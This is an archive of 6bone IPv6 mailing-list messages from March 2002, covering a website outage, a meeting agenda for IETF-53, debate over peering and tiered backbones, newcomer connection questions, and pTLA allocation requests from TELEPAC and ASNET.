> Version: GnuPG v1.0.6 (GNU/Linux)
> Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
> 
> iD8DBQE8jJWgKqN7/Ypw4z4RAsxnAJ9ptQvy725VAOIBbuKXc5pTCyJb2wCgo6XF
> IIue2YSgx51tREgyO9byOjA=
> =8WE0
> -----END PGP SIGNATURE-----
> 
> 
> 


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From 6bone-owner  Mon Mar 11 07:51:46 2002
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Date: Mon, 11 Mar 2002 07:51:50 -0800
To: Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone web site unreachable over IPv6, connection refused
  over IPv4
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Michael,

At 12:31 PM 3/11/2002 +0100, Michael Kjorling wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>I can't reach the 6bone web site over IPv6, and when trying over IPv4
>I get a connection refused message. Is anyone else experiencing these
>problems?

For several hours yesterday (Sunday) the IPv4-accessible 6bone web site was 
down due to a massive denial of service attack.


Bob


From 6bone-owner  Mon Mar 11 09:28:32 2002
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To: 6bone@ISI.EDU
Subject: Re: IPv6 DNS service 
In-reply-to: Your message of "Mon, 11 Mar 2002 09:04:50 +0200."
             <Pine.LNX.4.44.0203110904290.11685-100000@netcore.fi> 
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Date: Mon, 11 Mar 2002 12:21:55 -0500
From: Michael Richardson <mcr@sandelman.ottawa.on.ca>
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>>>>> "Pekka" == Pekka Savola <pekkas@netcore.fi> writes:
    Pekka> On Sun, 10 Mar 2002, Andre Grueneberg wrote:
    >> Leif Sandstede wrote: > I want to know if there is something like
    >> www.dyndns.org for IPv6?  > I am on dialup with dynamic ip and want to
    >> use a 6to4 gateway to workaround > the problems NAT/Masquerading pose.
    >> 
    >> You'd better use a tunnel broker - You'll have static IPv6 addresses
    >> then.

    Pekka> It's much easier to set up 6to4.

  Seems like a perfect example of why one would want mobileIPv6.

  Use the tunnel broker for your "static" IPs and 6to4 as a topologically
more efficient address.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

From 6bone-owner  Mon Mar 11 10:00:29 2002
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Date: Mon, 11 Mar 2002 07:59:07 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>, Bob Fink <fink@es.net>
Subject: Re: 6bone web site unreachable over IPv6, connection refused over
 IPv4
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On Mon, 11 Mar 2002, Michael Kjorling wrote:

> Date: Mon, 11 Mar 2002 12:31:41 +0100 (CET)
> From: Michael Kjorling <michael@kjorling.com>
> To: 6bone <6bone@ISI.EDU>
> Cc: Bob Fink <fink@es.net>
> Subject: 6bone web site unreachable over IPv6, connection refused over IPv4
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> I can't reach the 6bone web site over IPv6, and when trying over IPv4
> I get a connection refused message. Is anyone else experiencing these
> problems?

It's working fine from here:

C:\>tracert6 www.6bone.net

Tracing route to 6bone.net [3ffe:b00:c18:1::10]
from 3ffe:8160:0:11::1 over a maximum of 30 hops:

  1       30 ms    40 ms    31 ms  puaiohi.lava.net [3ffe:8160:0:1::1]
  2      101 ms    98 ms   109 ms  sl-bb1v6-rly-t-70.sprintv6.net
[3ffe:2900:d:a::1]
  3      153 ms   153 ms   153 ms  sl-bb1v6-rly-t-1002.sprintv6.net
[2001:440:1239:1003::2]
  4      216 ms   212 ms   218 ms  rap.ipv6.viagenie.qc.ca
[3ffe:b00:c18:1:290:27ff:fe17:fc0f]
  5      209 ms   208 ms   209 ms  www.6bone.net [3ffe:b00:c18:1::10]

Trace complete.



From 6bone-owner  Tue Mar 12 07:50:49 2002
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Date: Tue, 12 Mar 2002 07:50:53 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone meeting in Minneapolis
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6bone Folk,

As you may have noticed, the "pTLA restructuring and policy changes" 
discussion was pulled from the ngtrans agenda due to lack of agenda time. 
Thus I would like to have a lunchtime 6bone meeting to cover this topic and 
any others that folks would like to raise.

I propose Thursday from 11:45am to 12:45pm, just after the IPv6wg meeting 
that ends at 11:30, using the same room.

Please send me other agenda items you wish to present.


Thanks,

Bob

===
Agenda:

pTLA restructuring and policy changes, Fink - 15-20 mins
<from email discussions on 6bone list>

-end


From 6bone-owner  Tue Mar 12 08:17:06 2002
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> Finally, note that we have removed the 6bone pTLA discussion
> in interest of time. Bob Fink will be scheduling a lunch time
> 6bone meeting for this topic.

If time allows [during the TBD 6bone meeting], there could be some discussion related to transition of the current 6bone (where everyone peers nicely with everyone) to a model closer to the would-be IPv6 backbone / peering structure / tiers. There has been some talk recently on the ipv6mh list about the definition of "DFZ" and things such as TLAs not being tier-1 for IPv6 and I wonder if the assumption that the IPv6 DFZ will end up looking like the IPv4 DFZ is correct.

Michel.


From 6bone-owner  Tue Mar 12 09:29:04 2002
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To: "Michel Py" <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: (6bone) IETF-53 meeting (was (ngtrans) final ngtrans
  agenda for IETF-53 in Minneapolis)
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Michel,

At 08:17 AM 3/12/2002 -0800, Michel Py wrote:
> > Finally, note that we have removed the 6bone pTLA discussion
> > in interest of time. Bob Fink will be scheduling a lunch time
> > 6bone meeting for this topic.
>
>If time allows [during the TBD 6bone meeting], there could be some 
>discussion related to transition of the current 6bone (where everyone 
>peers nicely with everyone) to a model closer to the would-be IPv6 
>backbone / peering structure / tiers. There has been some talk recently on 
>the ipv6mh list about the definition of "DFZ" and things such as TLAs not 
>being tier-1 for IPv6 and I wonder if the assumption that the IPv6 DFZ 
>will end up looking like the IPv4 DFZ is correct.

Shall I add you to agenda for this topic.

"DFZ, pTLAs and the 6bone" - Michel Ply, 10-15 mins


Thanks,

Bob


From 6bone-owner  Tue Mar 12 11:58:39 2002
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Bob,

> Bob Fink wrote:
> Shall I add you to agenda for this topic.
> "DFZ, pTLAs and the 6bone" - Michel Py, 10-15 mins

Sure. I will post a link to the slides when they are ready (likely
Friday evening....)

Thanks
Michel.


From 6bone-owner  Tue Mar 12 12:06:46 2002
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To: "Michel Py" <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: RE: (6bone) IETF-53 meeting (was (ngtrans) final ngtrans
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At 11:58 AM 3/12/2002 -0800, Michel Py wrote:
>Bob,
>
> > Bob Fink wrote:
> > Shall I add you to agenda for this topic.
> > "DFZ, pTLAs and the 6bone" - Michel Py, 10-15 mins
>
>Sure. I will post a link to the slides when they are ready (likely
>Friday evening....)

Great.


Thanks,

Bob


From 6bone-owner  Wed Mar 13 05:40:37 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <ipv6@ipng.nl>, <ipv6@ihug.com.au>, <quake-v6@viagenie.qc.ca>,
        <msripv6-users@list.research.microsoft.com>, <6bone@ISI.EDU>,
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Subject: Quake2 IPv4 & IPv6
Date: Wed, 13 Mar 2002 14:40:31 +0100
Organization: Unfix
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We are proud to present :
Quake2 II IPv4 *AND* IPv6 capable server

running at game-2.concepts.nl

Thanks to Concepts ICT (www.concepts.nl) for the hosting,
and Viagenie (www.viagenie.gc.ca / www.freenet6.net) for the patching of
Quake2 to support IPv6 and even implementing a very nice use of IPv6
multicast.

The code can be downloaded from:
http://www.viagenie.qc.ca/en/ipv6/quake2/ipv6-quake2.shtml

They have Win32 and FreeBSD binaries available.

The server in question is reachable over IPv4 and IPv6 and is using a
bit modified code from the viagenie source.
This as the IPv4 capability needed some changes. Patch will be forwarded
soon to viagenie.
The server can be found with normal Gamespy and similar applications as
it's announcing itself to IPv4 gamelist servers.
(q2master.planetquake.com amongst others)

IPv4 & IPv6 capable Quake1 will follow this day, and then it will become
the official Concepts Quake server (quake.concepts.nl).
Unfortunaly there is no support for IPv6 Quake 3 (yet) but our beloved
people at Viagenie will surely fix that if they get the chance :)

Questions?
Reply to this subject on the ipv6@ipng.nl mailinglist (see
http://mailman.ipng.nl/mailman/listinfo/ipv6)
or query around on #linux.nl @ IRCNet.

Greets,
 Jeroen

PS: sorry for the crosspost ;)


From 6bone-owner  Wed Mar 13 07:00:03 2002
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Subject: Re: (6bone) IETF-53 meeting (was (ngtrans) final ngtrans agenda for IETF-53 in Minneapolis)
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Wed, 13 Mar 2002 15:31:45 +0000 (UCT)
Cc: fink@es.net (Bob Fink), 6bone@ISI.EDU
In-Reply-To: <2B81403386729140A3A899A8B39B046405DF0F@server2000.arneill-py.sacramento.ca.us> from "Michel Py" at Mar 12, 2002 08:17:10 AM
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 I am saddened by the thought that we move away from "where everyone
peers nicely with others" to something else.  Why is this useful or
desiarable?  

--bill


From 6bone-owner  Wed Mar 13 07:39:58 2002
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From: Shashikanth Sopirala <ipsopi@yahoo.com>
Subject: Can Any body Help Me
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Hi,
I am trying to connect to 6bone. Can any body tell me
how should i do that. 

Awating for a constructive reply
Cheers
Sopi


__________________________________________________
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From 6bone-owner  Wed Mar 13 08:04:31 2002
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Date: Wed, 13 Mar 2002 08:04:36 -0800
To: Shashikanth Sopirala <ipsopi@yahoo.com>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Can Any body Help Me
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At 07:40 AM 3/13/2002 -0800, Shashikanth Sopirala wrote:
>Hi,
>I am trying to connect to 6bone. Can any body tell me
>how should i do that.

Start by reading the how to join page:

<http://www.6bone.net/6bone_hookup.html>

then please feel free to ask me questions.

Please drop the 6bone list from your reply until we need to go back to the 
list for answers.


Thanks,

Bob


From 6bone-owner  Wed Mar 13 08:52:36 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Bill,

> Bill Manning wrote:
> I am saddened by the thought that we move away from "where
> everyone peers nicely with others" to something else.  Why
> is this useful or desirable? 

It's not useful neither desirable. The point I will be trying to make is that it will happen at some point (don't get me wrong, I don't like it either, but the business model where everyone provides IPv6 transit for free is not going to last forever). In fact, some of the questions I plan to ask the floor for the purpose of triggering thinking about them are (roughly):

1. Is the evolution of the IPv6 backbone (pushed by market forces) to a v4-like tiered system unavoidable?
2. Is it the role of the 6bone or the IETF to think about it and possibly recommend something about it.

Michel.


From 6bone-owner  Wed Mar 13 10:02:29 2002
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 IETF-53 in Minneapolis)
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It would seem that businesses may drive this, despite recommendations from
standards bodies (though I am not speaking for my business in this case; I
can not guess where mine will go from a policy standpoint).

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Wed, 13 Mar 2002, Michel Py wrote:

->Bill,
->
->> Bill Manning wrote:
->> I am saddened by the thought that we move away from "where
->> everyone peers nicely with others" to something else.  Why
->> is this useful or desirable?
->
->It's not useful neither desirable. The point I will be trying to make is that it will happen at some point (don't get me wrong, I don't like it either, but the business model where everyone provides IPv6 transit for free is not going to last forever). In fact, some of the questions I plan to ask the floor for the purpose of triggering thinking about them are (roughly):
->
->1. Is the evolution of the IPv6 backbone (pushed by market forces) to a v4-like tiered system unavoidable?
->2. Is it the role of the 6bone or the IETF to think about it and possibly recommend something about it.
->
->Michel.
->


From 6bone-owner  Wed Mar 13 10:19:39 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: bmanning@karoshi.com
cc: Michel Py <michel@arneill-py.sacramento.ca.us>, Bob Fink <fink@es.net>,
        <6bone@ISI.EDU>
Subject: Re: (6bone) IETF-53 meeting (was (ngtrans) final ngtrans agenda for
 IETF-53 in Minneapolis)
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On Wed, 13 Mar 2002 bmanning@karoshi.com wrote:
>  I am saddened by the thought that we move away from "where everyone
> peers nicely with others" to something else.  Why is this useful or
> desiarable?  

Because, particulatly in 6bone, connectivity is _crap_.

For example, with BGP AS-PATH length of 2, I don't want to see my packets
go from Finland to USA and from there back to Europe.  

This or something similar happens if:

1) lots of organizations give transit to lots of organizations ("ad-hoc 
network")

and 

2) tunneling over longer distances is not strongly frowned upon.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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On Wed, 13 Mar 2002, Michel Py wrote:

> > Bill Manning wrote:
> > I am saddened by the thought that we move away from "where
> > everyone peers nicely with others" to something else.  Why
> > is this useful or desirable?
>
> It's not useful neither desirable. The point I will be trying to make is that it will happen at some point (don't get me wrong, I don't like it either, but the business model where everyone provides IPv6 transit for free is not going to last forever). In fact, some of the questions I plan to ask the floor for the purpose of triggering thinking about them are (roughly):
>
> 1. Is the evolution of the IPv6 backbone (pushed by market forces) to a
> v4-like tiered system unavoidable?

The evolution due to market forces is steered by the cost of bandwidth.
Currently the cost of providing bandwidth for IPv6 for most is relatively
low compared to IPv4 because the amount of traffic is low.  So few mind
providing transit currently.  When the IPv6 traffic increases to a
significant percentage of the total, anyone paying for bandwidth isn't
gonna care whether it's IPv6 or IPv4 bandwidth.  They'll begin applying
the same policies resulting in the same tiered system.

> 2. Is it the role of the 6bone or the IETF to think about it and
> possibly recommend something about it.

Depends on whether the IETF should be getting involved in adjusting
economic forces or finding ways of making the cost of bandwidth
negligible.  The latter in particular seems more like a basic technology
problem than an Internet architecture problem.


From 6bone-owner  Wed Mar 13 10:58:29 2002
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Date: Wed, 13 Mar 2002 20:01:21 +0100 (CET)
From: Marcin Gondek <drixter@drixter.sytes.net>
To: <6bone@ISI.EDU>
Subject: AS
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How I can my own AS number for my /64 network?


-- 
_____________________________________________________________________
Marcin Gondek / Drixter  *  ICQ #99230394  *  MG8-6BONE * MG1296-RIPE
perl -le's&&d2)84%2~d2)84%2\|394%3|.%4&*y^BSD|\!->~^w: .a-{@^/print;'





From 6bone-owner  Wed Mar 13 11:07:11 2002
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Date: Wed, 13 Mar 2002 20:07:14 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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-----BEGIN PGP SIGNED MESSAGE-----
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This depends on what kind of installation you have. If you have native
IPv6 connectivity then in one sense you are already connected, so your
question really doesn't apply.

If you don't have native IPv6 connectivity but do have a reasonably
stable connection and at least one usable (for hosts OR an IPv6
capable router) static IPv4 address, then you can set up an
IPv6-in-IPv4 tunnel to an ISP which provides IPv6 services. A list can
be found at http://www.6bone.net/6bone_pTLA_list.html.

Also, be sure to read through http://www.6bone.net/6bone_hookup.html.
It might seem long and at some points incomprehensible at first, but
once you get your hands dirty on what it tells you it really is very
straight forward.

If things are still unclear, I am sure there are a lot of people here
who are willing to help you out.


Michael Kjörling


On Mar 13 2002 07:40 -0800, Shashikanth Sopirala wrote:

> Hi,
> I am trying to connect to 6bone. Can any body tell me
> how should i do that.
>
> Awating for a constructive reply
> Cheers
> Sopi

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

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From 6bone-owner  Wed Mar 13 12:45:22 2002
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To: Marcin Gondek <drixter@drixter.sytes.net>, <6bone@ISI.EDU>
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At 08:01 PM 3/13/2002 +0100, Marcin Gondek wrote:

>How I can my own AS number for my /64 network?

You don't really need one for that. Otherwise you will have to go to the RIRs.


Bob


From 6bone-owner  Wed Mar 13 12:54:45 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Pekka Savola'" <pekkas@netcore.fi>, <bmanning@karoshi.com>
Cc: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>,
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Subject: RE: (6bone) IETF-53 meeting (was (ngtrans) final ngtrans agenda for IETF-53 in Minneapolis)
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Pekka Savola wrote:

> On Wed, 13 Mar 2002 bmanning@karoshi.com wrote:
> >  I am saddened by the thought that we move away from "where everyone
> > peers nicely with others" to something else.  Why is this useful or
> > desiarable?  
> 
> Because, particulatly in 6bone, connectivity is _crap_.
> 
> For example, with BGP AS-PATH length of 2, I don't want to see my
packets
> go from Finland to USA and from there back to Europe.  
> 
> This or something similar happens if:
> 
> 1) lots of organizations give transit to lots of organizations
("ad-hoc network")
> 
> and 
> 
> 2) tunneling over longer distances is not strongly frowned upon.

That's why IPng.nl doesn't peer with anybody in sight, as it will break
BGP.
Peering with a party only happens if it will really matter in
connectivity (speed/latency).
Just like in the current IPv4 world.

I've recently started collection all publicly available AS path view's
on the web at:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Route_Views/

IPv6 capable public traceroute sites at:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Traceroute_Ser
vers/

and more IPv6 related things at:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/

There you can see many different views onto the IPv6 internet, yes I
don't say 6bone... as it's an IPv6 internet.
Most route views (created mostly by the great ASpath utility from TILAB)
will show a seperate 6bone and 'other' view.
Where the 6bone is the testing&playground and the 'other' is mostly 2001
(production ripe/apnic/arin) & 2002 (6to4) space.
For the 6bone it currently is quite common to peer with anyone possible
just for the heck of it, mostly without realizing that it breaks BGP.
Maybe there should be some kind of guideline or hint so that everybody
knows and understands how and what it breaks.
Something along the line of 'party (pTLA/sTLA/*) _should_ only peer with
another party if it improves their connectivity' but afaik this is
already in the RFC's ;)

Just my 0.1 euro's.

Greets,
 Jeroen

PS: If one has more links for the IPng category on dmoz.org don't be shy
to send them along ;)


From 6bone-owner  Wed Mar 13 13:00:34 2002
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You most likely don't need to, but if you do think you do, read up on
RFC 1930 and contact your Internet Registry (ARIN, RIPE, APNIC) or
(one of) your upstream provider(s).


Michael Kjörling


On Mar 13 2002 20:01 +0100, Marcin Gondek wrote:

> How I can my own AS number for my /64 network?

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')

*** Spammers: see http://michael.kjorling.com/spam ***

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> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Marcin Gondek
> Sent: Wednesday, March 13, 2002 8:01 PM
> To: 6bone@ISI.EDU
> Subject: AS
> 
> 
> 
> How I can my own AS number for my /64 network?
> 

No need of a ASN for a /64...
If it's for the whois, use the ASN of your upstream ISP that provide
this /64.


For your information, how get IP/ASN:
http://www.arin.net (for America)
http://www.ripe.net (for Europe)
http://www.apnic.net (for Asia)

Regards,

Nicolas DEFFAYET


From 6bone-owner  Wed Mar 13 15:33:54 2002
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Date: Wed, 13 Mar 2002 15:33:55 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for TELEPAC - review closes 27 March 2002
Cc: "Pedro Goncalves" <pgoncalves@net.telepac.pt>
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6bone Folk,

TELEPAC has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 27 March 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?TELEPAC>

<http://www.ipv6.telepac.pt>


Note that this allocation will be a /32 per previous discussions on the list.


Thanks,

Bob

===
>From: "Pedro Goncalves" <pgoncalves@net.telepac.pt>
>To: <fink@es.net>
>Subject: pTLA Request for Telepac (AS3243)
>Date: Wed, 13 Mar 2002 15:17:07 -0000
>
>Hello Bob and 6Bone Members,
>
>On behalf of Telepac, I would like to submit our application for a pTLA.
>
>We are connected to the 6bone with a /48 from RCCN since 1999.
>Our records on the 6bone database are fully up to date.
>We also have a ipv6 accessible site at http://www.ipv6.telepac.pt/
>
>
> >
> > b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > between the Applicant's boundary router and the appropriate
> > connection point into the 6Bone. This router must be IPv6
> > pingable. This criteria is judged by members of the 6Bone
> > Operations Group at the time of the Applicant's pTLA request.
>
>Currently we have 2 upstream tunnels to (RCCN and CISCO) on a Cisco3620 
>router running IOS
>12.2T4 with BGP4+ as our routing protocol.
>All this information is available at our IPv6 web site.
>
> >
> > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> > entries for the Applicant's router(s) and at least one host
> > system.
>
>We have primary and secondary DNS servers at the following addresses
>
>         srv-ipv6.ipv6.telepac.pt - 3ffe:3102:ffff:1::2
>         nasca.ipv6.telepac.pt - 3ffe:3102:ffff:1::3
>
>
> > d. A fully maintained, and reliable, IPv6-accessible system
> > providing, at a mimimum, one or more web pages, describing
> > the Applicant's IPv6 services.  This server must be IPv6
> > pingable.
>
>http://www.ipv6.telepac.pt/ is fully operational
>
>Accessable/active services are mentioned on out DB object
>
>         http://www.viagenie.qc.ca/cgi-bin/whois.pl?TELEPAC
>
>
> > 2. The pTLA Applicant MUST have the ability and intent to provide
> > "production-quality" 6Bone backbone service. Applicants must
> > provide a statement and information in support of this claim.
> > This MUST include the following:
> >
> > a. A support staff of two persons minimum, three preferable,
> > with person attributes registered for each in the ipv6-site
> > object for the pTLA applicant.
>
>We have a single mail entry to a group of technical persons 
>noc@ipv6.telepac.pt
>
>Contacts for the ipv6 solutions at Telepac are:
>
>         http://www.viagenie.qc.ca/cgi-bin/whois.pl?PG1-6BONE
>         http://www.viagenie.qc.ca/cgi-bin/whois.pl?AA2-6BONE
>
>
> >
> > b. A common mailbox for support contact purposes that all
> > support staff have acess to, pointed to with a notify
> > attribute in the ipv6-site object for the pTLA Applicant.
>
>         noc@ipv6.telepac.pt
>
> >
> > 3. The pTLA Applicant MUST have a potential "user community" that
> > would be served by its becoming a pTLA, e.g., the Applicant is a
> > major provider of Internet service in a region, country, or
> > focus of interest. Applicant must provide a statement and
> > information in support this claim.
>
>Telepac - Comunicacoes Interactivas,SA is one of the biggest provider in 
>PT(Portugal).
>We serve a community of:
>
>                 600+ Leased Line Solutions
>                 100 000+ Dialup Paying Customers
>                 550 000+ Dialup Free Customers
>                 3 500+ ADSL Customers
>
>We plan to deploy pre-production IPv6 Access and Services during first 
>half 2002.
>It may last us at least 3 months before the new pTLA prefix can be 
>advertised within the
>6Bone.
>
>
> >
> > 4. The pTLA Applicant MUST commit to abide by the current 6Bone
> > operational rules and policies as they exist at time of its
> > application, and agree to abide by future 6Bone backbone
> > operational rules and policies as they evolve by consensus of
> > the 6Bone backbone and user community.
> >
>
>We agree to all current and future rules and policies.
>
> >
> > When an Applicant seeks to receive a pTLA allocation, it will apply
> > to the 6Bone Operations Group (see section 8 below) by providing to
> > the Group information in support of its claims that it meets the
> > criteria above.
> >
>
>
>Best Regards
>
>Pedro Goncalves
>Telepac - Comunicacoes Interactivas, Sa
>Network Management and Planning
>PG259-RIPE



From 6bone-owner  Wed Mar 13 15:39:43 2002
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Date: Wed, 13 Mar 2002 15:39:44 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone agenda for Thursday lunchtime meeting in Minneapolis
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6bone Folk,

The 6bone meeting in Minneapolis will be during lunchtime Thursday from 
11:45am to 12:45pm, just after the IPv6wg meeting that ends at 11:30, using 
the same room. The current agenda is below.

The agenda is still open so please send me your suggestions.


Thanks,

Bob

===
Agenda:

pTLA restructuring and policy changes, Fink - 15-20 mins
<from email discussions on 6bone list>

"DFZ, pTLAs and the 6bone" - Michel Py, 10-15 mins
<slides to be posted before meeting>

"draft-savola-ipv6-127-prefixlen-01.txt", Pekka Savola - 5-10 mins

-end


From 6bone-owner  Fri Mar 15 14:44:47 2002
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Date: Fri, 15 Mar 2002 14:44:48 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for ASNET - review closes 29 March 2002
Cc: Saw-Shung Hung <ssh@ascc.net>
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6bone Folk,

ASNET has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 29 March 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?ASNET>

<http://www.ipv6.ascc.net/>


Note that this allocation will be a /32 per previous discussions on the list.


Thanks,

Bob

===
>Date: Fri, 15 Mar 2002 17:38:38 +0800
>From: Saw-Shung Hung <ssh@ascc.net>
>To: 6Bone-Bob Fink <fink@es.net>
>Subject: pTLA Request for ASNET  (AS9264)
>Cc: ASCC-NOC <noc@ascc.net>
>
>Hi Bob,
>
>We would like to apply for a pTLA allocation from 6bone, we are ASNET,
>Academia Sinica Computing Center (http://www.ascc.net).
>
>We are one of the members of TANet(Taiwan Academia Network) in Taiwan.
>We also maintain the TaipeiGigaPoP which provide 60% network traffic
>exchanged in TANET-Taipei. The Mission of ASNET is to promote and to
>coordinate the development of networks of telecommunications and
>computing, focused to the scientific and educative development in
>Taiwan.
>
>We would like to request one pTLA block, conformance to RFC 2772
>pTLA prefix requests.
>
>
>The following rules apply to qualify for a 6Bone pTLA allocation. It
>should be recognized that holders of 6Bone pTLA allocations are
>expected to provide production quality backbone network services for
>the 6Bone.
>
>1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>         -----------------------------------------------------------------
>         ASNET is in 6bone since Thu, 25 Oct 2001 as pNLA of CHTTL-TW
>         3ffe:3600:18::/48 at this moment we also have NLA
>         2001:288:03B0::/44 from TWNIC too.
>         -----------------------------------------------------------------
>
>
>
>  a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>  ==========================================================================
>    The ASNET has the following objects:
>
>    inet6num:    3FFE:3600:18::/48
>    ipv6-site:   ASNET
>    mntner:      MNT-ASNET
>    mnt-by:      MNT-ASNET
>    person:      noc@ascc.net
>
>    theses are our BGP4+ peer confections:
>
>    tunnels:
>         IPv6 in IPv4, gw.ipv6.ascc.net (9264) ->
>                         202.39.142.145 (CHT-TL, ASN 17715), BGP4+
>         IPv6 in IPv4, gw.ipv6.ascc.net (9264) ->
>                         210.65.1.26 (HiNet, ASN 17419), BGP4+
>         IPv6 in IPv4, c2600.ipv6.ascc.net (9264) ->
>                         163.28.6.254 (TANet MOECC, ASN 17717), BGP4+
>         IPv6 in IPv4, zebra1320.ipv6.ascc.net (9264) ->
>                         64.71.128.26 (Hurricane Electronic, ASN 6939), BGP4+
>         IPv6 in IPv4, zebra1167.ipv6.ascc.net (9264) ->
>                         tsps1.freenet6.net Freenet6 STATIC
>
>
>     application: ping gw.ipv6.ascc.net
>                  ping www.ipv6.ascc.net
>                  ping c2600.ipv6.ascc.net
>                  ping zebra1167.ipv6.ascc.net
>                  ping zebra1320.ipv6.ascc.net
>
>     url:         www.ipv6.ascc.net
>
>
>=============================================================================
>
>
>  b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA 
> request.
>
>         ------------------------------------------------------------------
>         Our BGP4+ connections are working on Cisco 2600, Cisco GSR12416,
>         Cisco 7513, FreeBSD+Zebra and Juniper M20.
>         These routers are IPv6 pingable: gw.ipv6.ascc.net, 
> c2600.ipv6.ascc.net,
>         zebra1167.ipv6.ascc.net and zebra1320.ipv6.ascc.net.
>         ------------------------------------------------------------------
>
>
>  c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>      entries for the Applicant's router(s) and at least one host
>      system.
>
>         -------------------------------------------------------------------
>         We maintain nameserver forward (AAAA) and reverse (ip6.int)
>         entries on ns.sinica.edu.tw, ns1.sinica.edu.tw which handle
>         8.1.0.0.0.0.6.3.e.f.f.3.IP6.INT. reverse zone and many
>         forward(AAAA) entries, eg. www.ipv6.ascc.net(3ffe:3600:18::1:6).
>         -------------------------------------------------------------------
>
>
>  d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>         -------------------------------------------------------------------
>         Our Dual-Stack (IPv4/Iv6) web page is http://www.ipv6.ascc.net/
>         Here you could find some basically information about Academia Sinica
>         Computing Center. We had been implemented TunnelBroker :
>         (http://tb.ipv6.ascc.net/) and BGP4+ ASPath-Tree
>         (http://bgp.ipv6.ascc.net/) and Looking Glass
>         (http://mrlg.ipv6.ascc.net).
>         -------------------------------------------------------------------
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>     "production-quality" 6Bone backbone service. Applicants must
>      provide a statement and information in support of this claim.
>      This MUST include the following:
>
>  a. A support staff of two persons minimum, three preferable, with
>      person attributes registered for each in the ipv6-site object
>      for the pTLA applicant.
>
>
>         ----------------------------------------------------------
>         ASNET IPv6 network support staff are following:
>         Saw-Shung Hung  (SH4-6BONE)
>         Ming-Chi Lin    (ML4-6BONE)
>         Hsien-Pin Chou  (HC4-6BONE)
>         Yu-Lin Chang    (YC3-6BONE)
>         ----------------------------------------------------------
>
>  b. A common mailbox for support contact purposes that all support
>      staff have access to, pointed to with a notify attribute in the
>      ipv6-site object for the pTLA Applicant.
>
>         ----------------------------------------------------------
>         Our Network Operation Center e-mail address: noc@ascc.net.
>         ----------------------------------------------------------
>
>3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
